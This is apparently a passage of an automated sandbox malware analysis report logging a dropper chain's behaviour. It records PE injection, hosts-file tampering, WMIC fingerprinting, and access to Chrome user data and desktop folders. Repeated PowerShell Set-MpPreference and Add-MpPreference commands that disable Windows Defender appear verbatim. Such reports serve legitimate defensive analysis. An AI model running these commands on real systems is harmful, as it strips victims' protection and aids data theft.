-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.2903.48"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeShoppingProductTrackingAlertSettings":{"enableFeatures":["msShoppingExp50"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"en

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe

Memory written: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe base: 400000 value starts with: 4D5A

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe

File written: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGIJJKKJJD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBGIJJKKJJD.exe "C:\Users\user\DocumentsBGIJJKKJJD.exe"
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe "C:\Users\user~1\AppData\Local\Temp\1009393001\60114bff78.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe "C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe "C:\Users\user~1\AppData\Local\Temp\1009401001\6af0f0d802.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe "C:\Users\user~1\AppData\Local\Temp\1009402001\1623118d84.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe"
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic cpu get Name
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get UUID
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF24760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF24760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE01C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CE01C30

Source: 1623118d84.exe, 00000035.00000002.2983077245.0000000000E92000.00000002.00000001.01000000.0000001A.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, 00000000.00000002.1896784903.0000000000746000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: NProgram Manager
Source: file.exe	Binary or memory string: NProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEDAE71 cpuid

0_2_6CEDAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009403001\171ecab7ad.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009403001\171ecab7ad.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Roaming\fyne VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Windows\System32\attrib.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Windows\System32\attrib.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Windows\System32\attrib.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Desktop VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Downloads VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Desktop VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Downloads VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Documents\My Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Documents\My Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Documents\My Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Documents\My Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Documents\My Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\OneDrive VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Default\OneDrive VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Desktop VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Desktop VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Downloads VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Downloads VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Default\Default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Default\Default\Epic Games VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Default\Default\Minecraft VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents\My Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents\My Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents\My Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents\My Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents\My Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Documents\My Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Public VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Public\Public VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Public\Public\Epic Games VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-Public\Public\Minecraft VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\Public\Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\BUFZSQPCOH VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\DQOFHVHTMG VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\NIRMEKAMZH VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\BUFZSQPCOH VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\FAAGWHBVUU VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\QFAPOWPAFG VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Downloads VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\NIRMEKAMZH VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Desktop\WSHEJMDVQC VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Downloads VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\BUFZSQPCOH VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-user VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-user\user VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-user\user\Epic Games VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\games-user\user\Minecraft VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\DQOFHVHTMG VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\FAAGWHBVUU VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\My Music VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\My Pictures VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\My Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\BUFZSQPCOH VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\DQOFHVHTMG VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\FAAGWHBVUU VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\My Videos VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\QFAPOWPAFG VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Queries volume information: C:\Users\user\Documents\NIRMEKAMZH VolumeInformation
